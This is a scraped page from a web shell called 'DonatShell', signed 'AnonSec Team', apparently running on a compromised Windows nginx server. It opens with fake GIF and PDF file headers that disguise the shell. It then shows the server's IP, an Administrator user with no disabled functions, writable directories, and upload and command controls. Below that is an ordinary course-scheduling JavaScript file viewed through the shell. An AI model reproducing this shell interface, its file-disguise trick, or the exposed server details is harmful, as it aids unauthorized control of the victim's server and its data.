GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Scheduler/Schedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Scheduler/Schedule/schedule6.js
// Schedule/schedule6.js

// HighlightLikeMe()
// Highlight all sibling class meetings with something to make them noticeable.
function HighlightLikeMe(evt) {
	let DEBUG = DEBUG_OFF;
	if ( evt.target !== this ) { return; }
	let e = evt.target;
	//let e1 = evt.toElement || evt.relatedTarget;
	if ( DEBUG ) { console.group(`${PC}HighlightLikeMe[e.id=${e.id}]`,CG); }//Collapsed
	//console.clear(); 			 background: linear-gradient(to bottom, var(--default-background) 25%, #ff0 100%)
	let idParts = e.id.split('_');
	let scId = idParts[2];
	if ( DEBUG ) { console.log(`${PC}scId=${scId}`,CI); }
	let i;
	let j;
	if ( typeof HighlightLikeMe.idsToHighlight == 'undefined' ) {
		HighlightLikeMe.idsToHighlight = [];
	}
	HighlightLikeMe.idsToHighlight = [e.id];
	for ( i=0; i<SCMnow[scId].length; i++ ) { // Loop thru SCMnows.
		let classMeeting = SCMnow[scId][i];
		let mTime = ConvertTimeToMinutes(classMeeting.bTime);
		if ( DEBUG ) { console.log(`${PC}mTime=${mTime} classMeeting.days.length=${classMeeting.days.length}`,CL); }// classMeeting=${JSON.stringify(classMeeting)}
		if ( !isNaN(mTime) ) { // Is the mTime valid?
			if ( classMeeting.days.length > 0  ) { // Does this classMeeting have days?
				// Yes, use the days to build the ids.
				for ( j =-0; j<classMeeting.days.length; j++ ) { // Loop thru the days.
					let day = classMeeting.days[j];
					let newId = `calendar_class_${scId}_${day}${mTime}`;
					if ( DEBUG ) { console.log(`${PC}newId=${newId} day=${day}`,CL); }
					HighlightLikeMe.idsToHighlight.push(newId);
				} // Loop thru the days.
			} // Does this classMeeting have days?
		} // Is the mTime valid?
	} // Loop thru SCMnows.
	if ( DEBUG ) { console.log(`${PC}idsToHighlight=${HighlightLikeMe.idsToHighlight}`,CI); }
	// Highlight the class meetings.
	for ( i=0; i<HighlightLikeMe.idsToHighlight.length; i++ ) {
		let eToHighlight = document.getElementById(HighlightLikeMe.idsToHighlight[i]);
		if ( eToHighlight ) {
			eToHighlight.style.boxShadow = '0 0 10px 8px blue';
			eToHighlight.style.zIndex = 20;
			eToHighlight.style.marginRight = '15px';
			eToHighlight.style.outline = 'blue solid 4px'
		}
	}
	HighlightLikeMe.counter++;
	if ( DEBUG ) { console.groupEnd(); }
} // END HighlightLikeMe. id="calendar_class_2355_M540"
HighlightLikeMe.counter = 0;

// UnhighlightLikeMe()
// Unhighlight all siblin class meetings.
function UnhighlightLikeMe(evt) {
	var DEBUG = DEBUG_OFF;
	if ( evt.target !== this ) { return; }
	let e = evt.target;
	UnhighlightLikeMe.counter++;
	if ( DEBUG ) { console.group(`${PC}UnhighlightLikeMe[e.id=${e.id}][${UnhighlightLikeMe.counter}]`,CG); }//Collapsed
	// Remove the hover highlight.
	if ( typeof HighlightLikeMe.idsToHighlight !== 'undefined' ) {
		for ( i=0; i<HighlightLikeMe.idsToHighlight.length; i++ ) {
			let eToHighlight = document.getElementById(HighlightLikeMe.idsToHighlight[i]);
			eToHighlight.style.boxShadow = '';
			eToHighlight.style.zIndex = 10;
			eToHighlight.style.marginRight = '0px;';
			eToHighlight.style.outline = '';
		}
	} else {
		if ( DEBUG ) { console.log(`${PC}HighlightLikeMe.idsToHighlight is undefined.`,CW); }
	}
	if ( DEBUG ) { console.groupEnd(); }
	Search_HighlightMeetings();
} // END UnhighlightLikeMe.
UnhighlightLikeMe.counter = 0;

// AutoEnd_SetTooltip(scmId)
// Set the tooltip for the AutoEnd checkbox.
function AutoEnd_SetTooltip(scmId) {
	var DEBUG = DEBUG_ON;
	if ( DEBUG ) { console.group(`${PC}AutoEnd_SetTooltip[scmId=${scmId}]`,CG); }//Collapsed
	// Check if the courseId is set.
	let courseId_IsSet = false;
	let courseId = document.getElementById('id_courseId').value;
	if ( courseId ) { courseId_IsSet = true; }
	// Check if and weekdays have been checked.
	let weekday_IsChecked = false;
	for ( let weekdayId in Weekdays ){if(Weekdays.hasOwnProperty(weekdayId)){
		let chk_Weekday_Id = 'chk_Weekday_'+scmId+'_'+weekdayId;
		if ( document.getElementById(chk_Weekday_Id).checked ) { weekday_IsChecked = true; }
	}}
	// Check if a meeting begin time has been entered.
	let beginTimeIsEntered = false;
	let scheduleclassmeetingBeginTimeId = `id_scheduleclassmeetingBeginTime_${scmId}`;
	let eScheduleclassmeetingBeginTime = document.getElementById(scheduleclassmeetingBeginTimeId);
	if ( eScheduleclassmeetingBeginTime.value !== '' ) {
		beginTimeIsEntered = true;
	}
	let ttText;
	let ttClass;
	if ( courseId_IsSet ) {
		// Yes, courseId is set.
		if ( weekday_IsChecked ) {
			if ( beginTimeIsEntered ) {
				ttText = 'Auto set the end time based on the class credits and days';
				ttClass = '';
			} else {
				ttText = 'Unable to auto set the end time without a begin time'; // 109
				ttClass = 'warn';
			}
		} else {
			ttText = 'Unable to auto set the end time without any Days selected';
			ttClass = 'warn';
			if ( !beginTimeIsEntered ) {
				ttText += '<br>Unable to auto set the end time without a begin time 116'; // 116
			}
		}
	} else {
		// No courseId set.
		ttText = 'Unable to auto set the end time without a Class selected';
		ttClass = 'warn';
		if ( !weekday_IsChecked ) {
			ttText += '<br>Unable to auto set the end time without any Days selected';
		}
		if ( !beginTimeIsEntered ) {
			ttText += '<br>Unable to auto set the end time without a begin time 127'; // 127
		}
	}
	ttText += '.';
	ttShow(ttText, ttClass);
	if ( DEBUG ) { console.log(`${PC}END ${PC}AutoEnd_SetTooltip`,SE,ST); console.groupEnd(); }
} // END AutoEnd_SetTooltip. id_scheduleclassmeetingBeginTime_ add0

Anon7 - 2022
AnonSec Team